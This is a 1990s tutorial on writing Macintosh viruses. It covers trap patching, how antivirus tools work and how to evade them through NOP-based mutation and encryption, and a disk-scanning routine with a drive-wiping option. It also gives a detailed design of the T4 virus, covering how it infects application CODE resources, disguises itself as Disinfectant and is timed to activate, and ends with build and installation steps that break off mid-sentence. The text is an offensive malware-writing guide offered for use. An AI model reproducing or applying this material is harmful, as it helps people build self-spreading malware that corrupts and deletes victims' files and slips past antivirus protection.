A SHORT TUTORIAL ON HOW TO WRITE A MACINTOSH VIRUS WITH EXAMPLES 1: INTRODUCTION. WHAT IS A MACINTOSH VIRUS? A macintosh virus is a virus that targets specifically the Mac OS. A Mac virus takes advantage of the sophisticated Mac OS System, and replicates by attaching copies of itself to other files. It can attach copies of itself to executable programs (APPLs) as well as non-executable files such as plain TEXT files, or Extension Files, Control Panel files, Startup files and files that belong to any program. 2: MEMORY RESIDENT (MR) AND DISK BASED (DB) VIRUSES Currently, all the Mac viruses fall into two basic categories: Memory Resident viruses and Disk Based viruses. MR viruses load into memory and stay there when an infected file is run, until a hard restart is executed. They usually infect files as they are opened, or executed. The advantages of the MR viruses is that they are always loaded once an infected file is run, and operate in the background. They also do not require directory scanning procedures, as the OS provides the virus with the file to be infected upon launching of that file. These viruses usually also infect files that are irrelevant to their survival, as they attempt to infect whatever the OS feeds them with. For example, if there is a MR virus loaded and the user clicks on say a word doc, the virus may infect the document file prior to infecting the owner application. The most famous MR viruses are the ones that try to "replace" Mac OS resources, such as MDEFs (Menu Definition Function code resources), WDEFs (Window Definition Function code resources) and CDEFs (Control Definition Function code resources). These resources are regular code resources of the Mac OS System, and the System itself contains and maintains plenty of these, are they are vital to its operation. For example, the Mac OS draws the basic window frames, the window bar, the zoom and close boxes and the grow icon using the WDEF with resource id of 0. This resource was stored in the System file in early Systems, but was later put into ROM, as it is often used. However, even when the code resource is in ROM, sometimes the System file contains an alternate WDEF resource, with the same resource id as that of the ROM, in case in needs to bypass the code resource in ROM. This will be explained later in detail. The disadvantages of MR viruses are many. The most obvious is that the System keeps changing very often (At the time of this writing, OS 8 is out) and therefore the corresponding code resources are changed as well. This means that if you had programmed a WDEF virus into System 7.x.x, the virus may become obsolete when it passes into a newer System. The most famous example was the early WDEF Mac virus, which infected the Desktop file on Systems up to 6.0.8. The desktop file was changed into a data fork only file in versions 7.x.x, thus the virus stopped functioning. The second category is the DB viruses. These viruses are notably more stable, and less dependent on System resources. They do their work independently with each infected application that is run, and usually require some sort of directory scanning in order to fetch the next file to be infected. They load into memory once with every infected file run. DB viruses are notably larger than MB ones, but may infect applications that are never run, and may even infect files more than once. They depend on intricate techniques of file manipulation, and usually take some time to do their job. But, as I already mentioned, they are immune to System changes and may be easier to adapt if you decide to reprogram them at a later time. MR viruses, usually try to infect the System first. Once this is achieved, every time the Mac OS loads, the virus will activate. DB viruses usually do not infect the System, rather they go directly to application files. Technically, there is a distinction between viruses that infect APPLs and Startup documents. There are viruses that infect only Startup docs, such as INITs and Control Panels, while there are viruses which infect only APPLs. The viruses that infect Startup docs multiply much less often that those who infect APPLs, as Startup documents are less frequently shared. People usually share applications much more often. But, there are some viruses which can do both: They can use applications for propagation purposes, but their main work is done while being loaded off a Startup document in which they reside. For a full catalog of the known mac viruses and short descriptions, try downloading John Nosrtad's program Disinfectant from Northwestern University. For in depth short analyses of how the most common of the known ones work, go to the Virex site and start poking around in the "animal zoo" section. PREREQUISITES: WHAT DO I NEED TO KNOW TO BE ABLE TO WRITE A MAC VIRUS? Macintosh virus writing is serious business and it is not easy. You need to be familiar with a plethora of resources, most of which have to do with knowing how the Mac OS operates and how programs work. If you have no experience whatsoever, I suggest FIRST AND FOREMOST, downloading the entire Inside Macintosh Manuals from the Apple ftp Site (ftp.appleccom/devtools/documentation/Inside Macintosh/). Or if you prefer, order it on CD from APDA. Without the Inside Macintosh manuals, don't even think about it. Quit now, while you have your sanity. The second thing you DEFINATELY need, is to be a good Mac programmer and to have some experience programming at least a dummy application for the Mac. If you don't know how to program the Mac, forget it. There are plenty of good development Mac packages out there, notably for C, Pascal and Assembly. If you've never programmed a Mac application of some sort, quit now. The third thing you need to know, is of course the 680x0 Assembly language. While the newer macs use the PowerPC RISC chip, you definitely need to know 680x0 assembly, in order to be backwards compatible. You cannot expect your virus to run only on PowerPC machines. That's unrealistic. While PowerPC Assembly language is useful, you will find yourself spending most of your time coding in 680x0 assembly. And that's because most of the internal Mac OS routines are still in 680x0 assembly code. You will definitely need a good Assembly language development package. I suggest MPW 3.x.x or some dev package that allows you to embed inline code into your programs. (I use THINK Pascal 4.0.2) You may use C if you prefer, and use the asm {} directive. The choice is entirely up to you. Just make sure that the development package you use, has utilities for programming in 680x0 asm. You will need a good disassembler. The one I use is the code editor for ResEdit 2.1.3, or Resourcerer, which has one built in. Either way, you will find yourself spending hours upon hours of your time examining your compiled or assembled code. And at this level of programming, you need all the help you can get. You cannot be too careful with this. One simple mistake and the virus will blow your System into smithereens. You will also need a good AV program that PREVENTS infections, so you can track your virus while testing it. I use Chris Johnson's GateKeeper, which gives one a complete warning about what is being modified, and by whom. Without such a program, you cannot test a virus and chances are it will escape into your machine. If this happens, you will have no way to disinfect your System, except manually and IF you know how. You may use Symantec's SAM, or Virex. It doesn't matter. Just make sure you have a way to be notified if an infection occurs. Without it, virus testing is impossible. And believe me, you will be spending many hours testing your code. It is a good idea to have MacsBug installed into your System as well, so you can test code at runtime. Something which static disassemblers cannot do. You can get MacsBug from the Apple ftp site. WHAT DEVELOPMENT PACKAGE CAN I USE? You may use any package that has facilities for creating stand alone code segments, such as WDEF's, CDEF's, MDEFs, MBDFs, and stand alone code modules, such as DRVRs and other CODE resources. It does NOT have to be an assembly language package, but it may be for example Symantec's C compiler with the asm {} directive, or THINK Pascal (which allows for Inline code in the form of $xxxx). I believe that for a beginner virus writer, the MPW package is probably the best choice, as it offers, three or four compilers in one. It has both 680x0 and PowerPC native Assemblers, a C native compiler, and a Pascal 680x0 compiler. Good value for your money. The virus examples that will follow at the end of this article were all written using THINK Pascal, but they could have been written in any other development package that supports inlining of embedded code. However, understand that if you use a higher language development package, you have to be thoroughly familiar with how the specific compiler works, from the way it allocates stack frames, to the sizes of the argument variables, to quality of code generation. I spent 5 years working with the THINK Pascal compiler before I attempted to write the viruses. The advantages of using a high level language are hard to come by. Even for virus writing. For example, as you will see, directory scanning is non- trivial business, and is easily implemented in Pascal. If you try to code directory scanning in asm, you will have to test the thing for months before it worked. The main disadvantage of a higher language is that the compiler usually inserts runtime code into your modules which the virus will carry with it (dead code) always. There are tricks around this, and if your compiler can create stand alone modules, (such as a MDEF) then it will NOT embed unneeded runtime code. One other disadvantage of higher languages is the lack of global data and difficult register manipulation. You virus will definitely need scratch variables, and you have to be careful to allocate all of these independently of the program's global variables. A well balanced stack and careful use of dynamic memory can be a solution to that. If you do not allocate many excess variables, you can do it either dynamically or statically, with very little interference from the host. If you manage your memory carefully, your host will only be happy to oblige you. If you make large memory requests though, be prepared to see the host crashing, as it has no assumptions on what your virus is doing underneath its back. Usually, the largest memory request that needs to be made on the host, is the size of the virus itself and this cannot exceed a couple of K at the most. Of course, if you use assembly language, you have complete freedom over your variables, which can be allocated regularly at the end of the virus body. This is the best advantage of assembly language. You also have to be careful not to interfere with the registers of your compiled code resource, if you use a high level language. The best practice is to save all the registers (A0-A4/D0-D7) RIGHT AFTER your virus entry point, and restore them RIGHT BEFORE your virus exit point. This way, the host will find its registers intact after your virus finishes executing. Don't touch registers A5, A6 and A7. A5 is used to reference the host's global variables, (details in Inside Macintosh) and chances are if you mess with it, the host will crash. A6 is used for static link frames, so either your compiler will take care of that, or you if you are breaking your virus code into sub-procedures in asm. A7 is used as the stack pointer. The use of A7 in an uninfected application and in an infected one is NEVER the same. And that's because the virus will definitely modify the stack a bit for its own private storage and links. Be very careful to allocate and deallocate correctly your stack frames. Unbalanced stacks are crash cause #1 in virus testing. You will see an example of the dangers lurking behind an unbalanced stack in the CODE 32767 example, later in this article. SYSTEM TRAPS AND TRAP PATCHING As you know, the characteristic look and feel of any Mac program is due mainly to the extensive use of many System Traps that correspond to specific routines in Inside Macintosh. For example, most of the procedures in Inside Macintosh are actually routines that get executed when the processor tries to execute an instruction of the form $Axxx. The 680x0 processor does not recognize such instructions (as well as $Fxxx) and when it encounters one, it generates an exception. An exception vector takes control and the system calculates an address based on the number that follows the A digit. The details are in IM. For example, the procedure call "AddResource(theHandle,'CDEF',32,"myCDEF");" generates the following assembly code: 00000008: 2F2E FFFC MOVE.L theHandle(A6),-(A7) 0000000C: 2F3C 4D44 4546 MOVE.L #$4D444546,-(A7); 'MDEF' 00000012: 3F3C 0020 MOVE.W #$0020,-(A7) 00000016: 486E FEFC PEA myCDEF(A6) 0000001A: A9AB _AddResource As you can see, the parameters are first pushed onto the stack and then the trap $A9AB is executed. In reality, the trap is never executed. It generates an exception that dispatches the PC onto some table that contains the addresses of all the system routines. The table looks something like this: Trap # Routine Address ... ... $A9AB $3501980 (routine address with index 171 of table) $A9AC $9ACD0F0 (routine address with index 172 of table) $A9AD $8709FFA (routine address with index 173 of table) ... ... The System calculates the specifics of the dispatch based on the binary representation of the trap: $A9AB=1010100110101011 Bit 8 for example is the bit that charachterizes toolbox traps. The first 7 bits (from right) provide the index into the trap dispatch table. (Here $AB=171). More details in Inside Macintosh. Now as you may have suspected, it is obvious that ANY address can be installed in a specific trap dispatch table entry. For example, we don't have to have address $3501980 in entry 171. We can install a different address, that corresponds to a different routine. But because usually the functionality of the original needs to be preserved, we need to be able to call the original routine as well. The way to do that is called "Trap Patching". It is the process of installing a "patch" (head or tail) to the actual routine's address. We can install something prior to calling the original (called head patch) or something that post-processes the original (tail patch). What follows is an example of how to write a routine patch. For simplicity, I will use here the routine for "DrawString(theStr:Str255)". The patch consists of two separate projects. The actual patch code (an MPW asm file) and a THINK Pascal project that creates an INIT that installs the new routine at startup. File DrawStringPatch.a STRING ASIS INCLUDE 'SysEqu.a' INCLUDE 'SysErr.a' INCLUDE 'ToolEqu.a' INCLUDE 'Traps.a' SEG 'DrawStringPatch' DrawStringPatch MAIN Entry BRA.S MyDrawString ;branch around next 4 bytes OldDrawString DC.L 0 ;original address is stored here!! ;what follows from here is the actual pre-processing code MyDrawString MOVEM.L A0-A4/D0-D7,-(SP) ;save registers MOVE.W #4,-(SP) ;push integer 4 onto stack _SysBeep ;sound the beeper ;end of pre-processing code ExitPatch MOVEM.L (SP)+,A0-A4/D0-D7 ;restore registers MOVE.L OldDrawString,A0 ;get address of old DrawString JMP (A0) ;see ya baby... END The build MPW commands to create the patch code segment: asm -o DrawStringPatch.a.o DrawStringPatch.a link DrawStringPatch.a.o -o PTCH.rsrc -t RSRC -c RSED -rt 'PTCH'=35 -ra DrawStringPatch=resSysHeap,resPreload,resLocked File InstallDrawStringPatch.p unit InstallAPatch; interface procedure Main; implementation const _DrawString = $A884; {Trap number for DrawString routine} type PTCHHeader = record {look at the asm file} BRAS: integer; {the first instruction is a BRA.S} OriginalAddress: longint; {the place we store original address} end; PTCHHeaderPtr = ^PTCHHeader; {Master pointer} PTCHHeaderHandle = ^PTCHHeaderPtr; {Handle} procedure Main; var thePTCH: Handle; begin thePTCH := GetResource('PTCH', 35);{load the resource into mem} if thePTCH <> nil then {if good handle} begin {Store OriginalAddress at header of resource. Look at asm file} PTCHHeaderHandle(thePTCH)^^.OriginalAddress := NGetTrapAddress(_DrawString, ToolTrap); {now set trap dispatch table address} {to Entry Point of Patch (Entry)) NSetTrapAddress(Ord(thePTCH^), _DrawString, ToolTrap); DetachResource(thePTCH); {detach from memory} end; end; end. Create the INIT with id=35 with the THINK Pascal project. After you assemble the MPW asm file, open the code segment patch file with ResEdit and copy the 'PTCH' resource into the INIT which you created with the THINK Pascal project. Then, put the INIT into your System folder. Be prepared for thousands of beeps. OK, now for the analysis of what we have done: First the MPW file. As you can see there are certain params for the assembler which you should take for granted for now. The first instruction is a BRA.S MyDrawString. This forces the PC to immediately go to label "MyDrawString". Just to avoid hitting the actual address which is at "OldDrawString". So now, we are in our space. We can do whatever we want. The original has not been called yet and we have all the tools at our disposal. Here, we do something simple, like sound the beeper. Next, after we are done with whatever we want to do, we restore the regs, and load the original address from the place where the Pascal INIT has put it at run time: At "OldDrawString". And finally JMP to that location, which forces the original to be called. That's it. A couple of things to note: We use a JMP and not a JSR. Can you tell why? Because the original routine is responsible for returning to the caller of the _DrawString trap. IF we wanted to do a tail-patch, we would call JSR (A0) and the original routine would return to us, first, we could then do post-processing and then return to the caller! This is left as an exercise to the reader. HOW MAC ANTIVIRAL PROGRAMS WORK Ok, so why all the fuss with Trap patching? Well you guessed it: AV programs use it to PREVENT viruses from using unauthorized calls of System Routines. For example, an AV such as GateKeeper or SAM Intercept, head-patches certain traps and intercepts the calls to the originals. It looks at the user, tries to figure out what's being modified and which file is being affected BEFORE the original routine is called. That way, if it is an unauthorized call, the original routine is never called. Smart enough? This is the main technique todate that most preventive AV programs use. The main reason why this technique is so successful is because there is no easy way to extract the original address of the routine that's patched. For example, a good virus would look at the trap address, figure out if it is patched, and if it is, it will try to extract the original, say, "AddResource" address and use that instead of going through the AV patch. But how does one extract the original address? Very good question. And it has no easy solution, as the program that patches the trap (notably an AV) can store the original address anywhere it wants for its own use. You saw how we stored it at "OldDrawString". It could have been anyplace in our code. If you are good in disassembling 680x0 code, you can load GateKeeper and trace one of the famous virus routines, such as "AddResource" or "ChangedResource" and try to figure out using MacsBug where the original address is hidden. But even if you succeed, the success will only be valid for the particular AV program. Tough stuff. And another catch: Don't forget that the System itself patches traps with newer versions of routines that are unavailable to ROM. So it is really hard to recover the original address, because many patches on top of each other may exist. A WORD ON MAC DISINFECTING AV PROGRAMS AND MUTATION Besides PREVENTIVE AV programs, there are also the famous DISINFECTION programs, that remove viruses on already infected Systems. The most famous ones are Disinfectant by John Norstad of NorthWestern U, SAM by Symantec and Virex. I will not address by example the question of how these programs detect viruses, even though you are pretty familiar with the technique already. The programmers of these programs, take a virus, analyze its behavior, look at its code, and try to determine the most likely pattern to occur with each infection. To my knowledge only some strands of the 'nVIR' Mac virus can mutate. There haven't been any other mac viruses that mutated. But mutation is not very hard to implement. The most common form of mutation consists of inserting lots of NOP instructions ($4E71 for the 680x0) in the viral code and has as its object to prevent the examiner from extracting a stable byte pattern with which to recognize the virus. For example, if the examiner finds that the byte pattern "$DEADBEEF" occurs inside the virus code, if the virus mutates he has no way to foretell whether the next hybrid will contain this pattern. The virus may have changed at exactly this place and may have become "$DEAD4E71BEEF". As such, if the AV program was looking for the pattern "$DEADBEEF" it would fail. BUT, if it looked for BOTH the patterns "$DEAD" AND "$BEEF" it would detect it. However, the math of pattern matching in mutation is really crappy, as there is this little theorem that says that fake alerts come about when the pattern splits into smaller and smaller pieces. In the previous example, with every pattern split search, such as "$DEAD" AND "$BEEF" chances increase that these byte patterns will show up normally in uninfected hosts, so the AV program will report a fake alert. For even better results, break your code even further. If your code looked like $DE, $4E71, $4E71, $AD, $4E71, $BE, $4E71, $4E71, $4E71, $EF, it would really be hard for an AV to detect it, as these byte patterns ($DE, $AD, $BE,$EF) may occur naturally throughout the regular host code. So be creative. Insert as many NOPs as you like, without making your virus too bulky or too complicated. Remember that every time you insert NOPs into your code, you have to adjust your branching points, so that the new hybrid uses the correct branching mechanisms without branching to twilight zone. This is an acute problem with the virus's memory addressing. If for example you reference your var at $345000AB, the new hybrid will have to adjust its reference to account for the code additions in length because of all these extra NOP instructions. And sorry to say, these modifications are best written in assembler. If you try to force the output of a compiler to mutate you are in deep waters. You will also have to take care to hide your mutation engine itself, because IT cannot mutate and if your examiner figures out where it is, your virus will be caught. Not everything can mutate. This is a theorem in Mathematics. When you use self-reference (and viruses use it all the time), there is one point that has to remain stable throughout. Hide your mutation engine well. Also, keep in mind that you cannot insert NOPs everywhere. If you insert one in the middle of an instruction, the mac will definitely bomb when it hits it. You have to count your boundaries, and these are ends of instructions, or beginnings of instructions. Anyplace else is a no-no, unless your NOP mutation is also encryption. In my opinion this would be the best combination. An encryption which will use NOPs to mess up the viral code patterns, but which will DECRYPT BEFORE it is executed. Thus NOPs are allowed anywhere, and you can break your code into many little pieces. On the macintosh, no such virus has been implemented yet as of this writing (10/97). FIRST EXAMPLE: A DIRECTORY SCANNING PROCEDURE Many potential virus writers usually don't know how to extract the next to be infected file. Below is an example of how the user can traverse the entire drive directory, and list all available files. This procedure is used modified later to search for potential infection candidates. It would help if you had a copy of Inside Macintosh: Files handy. Otherwise you will miss much of the information. Much of what follows inside the procedure is pretty trivial. Most of your questions should be resolved by the comments. Again, specific questions that you might have usually will pertain to the file manager and there is nothing I can do about it. Read Inside Macintosh. {This program is an example of how the user can scan the directory} {to list all available files. Additional file filtering examples} {given in the viruses themselves} program scandisk; label 1000; type cinfopbhandle = ^cinfopbptr; {look at Inside Macintosh:Files} var theworld: SysEnvRec; {System Environment record} cipbh: cinfopbhandle; {handle to our cinfopb} pathname: str255; {the returned file pathname} scanname: string[31]; {name of the file minus path name} foundone: boolean; {true if we found one file} i, j, vrefnum, frame: integer; TextRect: Rect; time1, time2: longint; Delete: boolean; {will become true if we decide to erase the drive} ApplicationFile, SystemFile: boolean; {kind of file scanned} OldTicks: Longint; {ticks for cursor} theAnimatedCursor: array[0..7] of CursHandle; {curs handles for animation} OldPort, WaitDialog: DialogPtr; {graf Pointers} procedure ShowWaitDialog; {This procedure Puts up a wait dialog} var DialogBounds: Rect; begin SetRect(DialogBounds, 100, 100, 230, 130); GetPort(OldPort); WaitDialog := NewDialog(nil, DialogBounds, '', TRUE, 1, Pointer(-1), FALSE, 0, nil); SetPort(WaitDialog); MoveTo(20, 20); TextFont(SystemFont); TextSize(12); DrawString('Please wait...'); DrawDialog(WaitDialog); end; procedure KillWaitDialog; {Kills the wait dialog above} begin SetPort(OldPort); DisposDialog(WaitDialog); end; procedure SpinCursor; {Spins the cursor, for some delay feedback} var NewTicks: longint; begin NewTicks := TickCount; if abs(NewTicks - OldTicks) >= 50 then begin frame := (frame + 1) mod 8; SetCursor(theAnimatedCursor[frame]^^); OldTicks := NewTicks; end; end; procedure nextcleanapp (dirid: longint); {This procedure Traverses the entire drive and lists all available} {files by writing their names to th output window} var indx, ref, i: integer; err: oserr; begin indx := 0; {start at file index=0 for a specific directory} repeat indx := indx + 1; with cipbh^^ do begin ionameptr := @scanname; {give space for return string} iofdirindex := indx; {give object index} iodirid := dirid; {give directory id} iovrefnum := 0; {give vrefnum} err := PBGetCatInfo(cipbh^, FALSE); {call magic trap} if (err <> noerr) and (err <> fnferr) then writeln(err); {report if any errors found} if err = noerr then begin if length(pathname) + length(scanname) <= 255 then begin pathname := concat(pathname, ':', scanname);{stack names} if bittst(@ioflattrib, 3) then {if it is a directory then} nextcleanapp(iodirid) {call recursivelly one level down} else {file} begin ApplicationFile := (ioflfndrinfo.fdtype = 'APPL') or ((ioflfndrinfo.fdcreator = 'MACS') and (ioflfndrinfo.fdtype = 'FNDR')) or (scanname = 'MultiFinder'); SystemFile := pos(scanname, 'System') <> 0; if not Delete and ApplicationFile then {write APPLs} writeln(pathname) {real call here would be to return the name} else if Delete and not ApplicationFile and not SystemFile then writeln(pathname); {real call here would be to HDelete} end; SpinCursor; i := length(pathname); j := i; while pathname[i] <> ':' do i := i - 1; pathname := omit(pathname, i, j); {unstack last file name} end;{if length<=40} end;{if err=noerr} end;{with cipbh^ do} while Button do ; until (err = fnferr); end; begin SetRect(TextRect, 20, 50, 600, 500); SetTextRect(TextRect); ShowText; if sysenvirons(1, theworld) <> noerr then {get the environment} goto 1000; readln(delete); pathname := ''; scanname := ''; foundone := false; vrefnum := theworld.sysvrefnum; if setvol(nil, vrefnum) <> noerr then {get startup volume} goto 1000; if getvol(@pathname, vrefnum) <> noerr then {get startup volume} goto 1000; foundone := false; {tentativelly} theAnimatedCursor[0] := GetCursor(WatchCursor); for frame := 1 to 7 do theAnimatedCursor[frame] := GetCursor(-6078 + frame - 1); frame := 0; OldTicks := TickCount; ShowWaitDialog; {Allocate memory block for our parameter block} cipbh := cinfopbhandle(newhandle(sizeof(cinfopbrec))); if memerror <> noerr then goto 1000; {exit if we can't get the memory} movehhi(handle(cipbh)); hlock(handle(cipbh)); {lock to use} nextcleanapp(fsrtdirid); {search for next uninfected appl} hunlock(handle(cipbh)); {unlock to free} disposehandle(handle(cipbh)); {dispose of} KillWaitDialog; {kill dialog} InitCursor; 1000: end. SECOND EXAMPLE: THE T4 VIRUS DESCRIPTION: (The entire T4 virus project can be downloaded from ) ************************************************************************* the T4 BACTERIOPHAGE virus ************************************************************************* The principle behind the T4 virus is simple. Every (correct) Mac application contains the following calls somewhere in its CODE segments:InitGraf,InitFonts, InitWindows,InitMenus,TEInit,and InitDialogs. So the virus takes advandage of the fact that these calls are always there, to use them for its replication. The initialization code in Pascal looks like this: InitGraf(@thePort); InitFonts; InitWindows; InitMenus; TEInit; InitDialogs(nil); or InitDialogs(@AddressOfResumeProc); ... depending on whether the programmer has a resume procedure in case of an error, (System 7.x.x does not require a resume proc) the code after disassembly looks like this: *********************************************************** 00000014:4E56 0000 ;LINK A6,#$0000 ;start of main link frame 00000018:486D xxxx ;PEA -$xxxx(A5) ;push address of "theport" 0000001C:A86E ;_InitGraf ;initialization starts... 0000001E:A8FE ;_InitFonts ;rest of initialization... 00000020:A912 ;_InitWindows ;rest of initialization... 00000022:A930 ;_InitMenus ;rest of initialization... 00000024:A9CC ;_TEInit ;rest of initialization... 00000026:42A7 ;CLR.L -(SP) ;push 0 longword (nil ptr) 00000028:A97B ;_InitDialogs ;what makes it possible 0000002A:xxxx ;xxxx ;rest of application code 0000002C:xxxx ;xxxx ;rest of application code 0000002E:xxxx ;xxxx ;rest of application code 00000030:xxxx ;xxxx ;rest of application code 00000032:4E5E ;UNLK A6 ;end of main link frame 00000034:4E75 ;RTS ;return to finder *********************************************************** if instead the programmer had called InitDialogs(@ResumeProc); the code will look like this: *********************************************************** 00000014:4E56 0000 ;LINK A6,#$0000 ;start of main link frame 00000018:486D xxxx ;PEA -$xxxx(A5) ;push address of "theport" 0000001C:A86E ;_InitGraf ;initialization starts... 0000001E:A8FE ;_InitFonts ;rest of initialization... 00000020:A912 ;_InitWindows ;rest of initialization... 00000022:A930 ;_InitMenus ;rest of initialization... 00000024:A9CC ;_TEInit ;rest of initialization... 00000026:486D xxxx ;PEA -$xxxx(A5) ;push address of resume proc 0000002A:A97B ;_InitDialogs ;what makes it possible 0000002C:xxxx ;xxxx ;rest of application code 0000002E:xxxx ;xxxx ;rest of application code 00000030:xxxx ;xxxx ;rest of application code 00000032:xxxx ;xxxx ;rest of application code 00000034:4E5E ;UNLK A6 ;end of main link frame 00000036:4E75 ;RTS ;return to finder *********************************************************** Now the virus will function on the InitDialogs Trap, and add a branch instruction to its own code, and then return exactly at the point after the branch, to therefore let the application continue without any interference. The virus must assume all the managers initialized, so the patch must be AFTER all initialization calls and BEFORE the rest of application code. It follows that there are two possibilities for the patch instructions: In each case look at the two tables above, and compare with the tables below which are the same tables, except that the virus has patched the code. Case WITHOUT Resume Procedure: *********************************************************** 00000014:4E56 0000 ;LINK A6,#$0000 ;start of main link frame 00000018:486D xxxx ;PEA -$xxxx(A5) ;push address of "theport" 0000001C:A86E ;_InitGraf ;initialization starts... 0000001E:A8FE ;_InitFonts ;rest of initialization... 00000020:A912 ;_InitWindows ;rest of initialization... 00000022:A930 ;_InitMenus ;rest of initialization... 00000024:A9CC ;_TEInit ;rest of initialization... 00000026:6100 000C ;BSR *+$000A ;branch to virus (00000036:) 0000002A:xxxx ;xxxx ;rest of application code 0000002C:xxxx ;xxxx ;rest of application code 0000002E:xxxx ;xxxx ;rest of application code 00000030:xxxx ;xxxx ;rest of application code 00000032:4E5E ;UNLK A6 ;end of main link frame 00000034:4E75 ;RTS ;return to finder --------------- VIRUS ---------------------------------------------------------- 00000036:xxxx ;xxxx ;start of viral code 00000038:A97B ;_InitDialogs ;don't forget InitDialogs 0000003A:xxxx ;xxxx ;continue viral code 0000003C:xxxx ;xxxx ;continue viral code 0000003E:xxxx ;xxxx ;continue viral code 00000040:xxxx ;xxxx ;continue viral code 00000042:4E75 ;RTS ;return to caller (0000002A:) --------------- VIRUS ---------------------------------------------------------- *********************************************************** Case WITH Resume Procedure: *********************************************************** 00000014:4E56 0000 ;LINK A6,#$0000 ;start of main link frame 00000018:486D xxxx ;PEA -$xxxx(A5) ;push address of "theport" 0000001C:A86E ;_InitGraf ;initialization starts... 0000001E:A8FE ;_InitFonts ;rest of initialization... 00000020:A912 ;_InitWindows ;rest of initialization... 00000022:A930 ;_InitMenus ;rest of initialization... 00000024:A9CC ;_TEInit ;rest of initialization... 00000026:6100 000E ;BSR *+$000C ;jump to virus (00000038:) 0000002A:4E71 ;NOP ;no operation 0000002C:xxxx ;xxxx ;rest of application code 0000002E:xxxx ;xxxx ;rest of application code 00000030:xxxx ;xxxx ;rest of application code 00000032:xxxx ;xxxx ;rest of application code 00000034:4E5E ;UNLK A6 ;end of main link frame 00000036:4E75 ;RTS ;return to finder --------------- VIRUS ---------------------------------------------------------- 00000038:xxxx ;xxxx ;start of viral code 0000003A:A97B ;_InitDialogs ;don't forget InitDialogs 0000003C:xxxx ;xxxx ;continue viral code 0000003E:xxxx ;xxxx ;continue viral code 00000040:xxxx ;xxxx ;continue viral code 00000042:xxxx ;xxxx ;continue viral code 00000044:4E75 ;RTS ;return to caller (0000002A:) --------------- VIRUS ---------------------------------------------------------- *********************************************************** There are several problems the virus may encounter: 1)The application does not call InitDialogs at all. In that case, it is immune against the T4 virus. 2)The toolbox is NOT initialized in the correct order. If this happens, havoc will prevail, since the viral body contains calls to the window manager which assumes that InitWindows has been called. Note also that the virus must call InitDialogs from within its main body IMMEDIATELLY after the branch since that manager must be initialized as well. Finally, the virus will infect any application that calls InitDialogs, except maybe those which use strange instructions such as a MOVE.L #$00000000,-(SP), to push a longword on the stack.This is however relatively rare, since most compilers and assemblers will push a long on the stack using the CLR.L -(SP) instruction. (There is a very rare case where the patch code ($42A7,$A97B,CLR.L -(SP),_InitDialogs) is not actually initialization, rather, it is data. In this case the virus will patch the wrong place in the code, resulting in a bad crash. These cases are very rare though.) Thus using a correct strategy with appropriate signatures, it may be possible to repeat the above process a number of times, every time patching the routine InitDialogs in its new location. This will force multiple infections, but will still work. The virus works as follows: It first scans the disk for files of type APPL. When it finds one, it checks if it is already infected, by looking for the signature 'T4VIRS'. If it is infected (i.e. if the signature appears somewhere) it leaves the file alone and closes it. Then goes to the next file it finds. If the application does not contain the signature T4VIRS, then the virus scans all CODE resources, until it finds one with the above or similar initialization sequence. If it doesn't find the initialization sequence in any of the CODE segments, the application is immune against the T4 virus. If it finds the trap _InitDialogs embedded in one CODE segment, then: 1)It adjusts the CODE resource attributes by subtracting the resprotected attribute, not changing the other attributes. The older versions of the virus, the ones released in the U.S. cleared the resource attributes, thus resulting in corrupted data for the CODE resource segments that it processed if the resource is compressed (newer attribute that was added later) 2)It performs a patch on that CODE resource, by inserting the proper 'jump' instructions to the main body of the virus, and appends the virus to the end of the current CODE resource. The virus uses as little memory as possible, but there is no guarantee that the host will behave normally when it is forced to deal with a couple more handles lurking around. In case of an error, the virus tries to bypass the rest of the viral code, and exit gracefully, but there is no guarantee that it will not bomb. In particular, there is one point (the main patch call) where the viral call may fail because of an antiviral tool. Every effort has been made to circumvent this point successfully, but there is no telling what an antiviral program may do. Another problem will occur if the complete pathname of the application to be infected is longer than 255 chars. Some effort has been made to that extent to avoid this situation by avoiding directories that are nested too deep, by scanning for files and directories that are only 255 characters deep. The actual scanning depth may be changed to force the virus to scan say only 40 characters deep, eliminating large recursive calls, thus minimizing the stack. Another point that needs to be taken care of is the registers. Upon exiting the virus body, the application must find the registers containing the exact same values they had at the moment of entry. Thus, an explicit save on all registers (D0-D7,A0-A5) is required, since the virus will use some of them. The viral signature (resource type 'cntr') contains an integer counter in the first byte. The byte starts at the value of 0. Every time the infected application is run, the counter is incremented by 1. When the counter reaches values that are multiple of 10, the virus will show on screen the icon of a small virus. The virus may reinfect an application, with probability 1 in 100. The older versions of the virus, (the ones released in the U.S.) used a different tactic on infecting applications. The infection resource was of type 'STR ', and the counter was the first byte (the length byte) of that resource. Consequently, if there is an encounter of the two viruses, the old virus will infect the newer virus, but the newer will not infect the old, since it looks at the actual code signature which is embedded within the CODE resource. The older version relied entirely on the 'STR ' resource counter for its decisions about infection. As a result, if one has an application that does not call _InitDialogs, with no 'STR ' resource, it would have opened it, examined it, and it would have closed it without attaching an infection resource. On another run, it would have opened it again and would have gone through the same cycle, therefore finding an obstacle in its directory scan algorithm. For example, a script editor application, would present a barrier against other infections on the same disk. The rewritten version, bypasses that problem, by looking whether an application can be infected. When the virus opens a file, it will determine whether an application can be infected, and if not, it will skip that file. The older version also had no limit on the number of characters for a directory filename scan, which would cause it to crash if the directory complete pathname was longer than 255 chars. The newer version will scan only as deep as it can go, provided the pathname is shorter than 255. The older version altered boot code that had to do with the loading of extensions. The newer version does not. The older version assumed the alias name 'Disinfectant' (renaming itself into it) so it would confuse the user into thinking that Disinfectant was making changes. In the newer version that is not possible anymore, because the Antiviral programs took this information from the low memory global "CurAppName", but now take it from the process manager using probably "GetProcessInfo". The older version stopped scanning when an error<>noerr occurred. This means that if the infected application was on a server with locked folders, it would stop on the first available folder with insufficient privileges that generated the error. The newer version, checks only for fnferr, which is the correct way to pause the recursive subroutine. Consequently, the newer version will encounter the insufficient privileges error, but will continue scanning if found on a server. The timing of the virus is based on the phrase 'AMORE FINITUS'. Take the English Alphabet, count it, starting with A=1, and the months on which the virus activates are the letters of the phrase 'AMORE FINITUS'. The hours are a plain 12-hour cycle starting with 9-10 for January, 10-11 for February, etc. The complete project consists of several smaller projects in THINK PASCAL: 1)T4FirstHost-(Generates the first dummy application to host the body of the T4virus) 2)T4Main-(Generates the virus body) 3)T4Appl-(Runs the virus as an application for debugging) 4)T4Install-(Joins the virus body along with the application T4FirstHost) 5)Scan-(Scans the hard drive in exactly the same manner that the virus does) The installation of the virus goes as follows: Open the project T4FirstHost. Select "Build Application...". Name it "T4FirstHost". Open the project T4Main. Select "Build Code Resource...". Name it "T4body". From the Finder, duplicate the 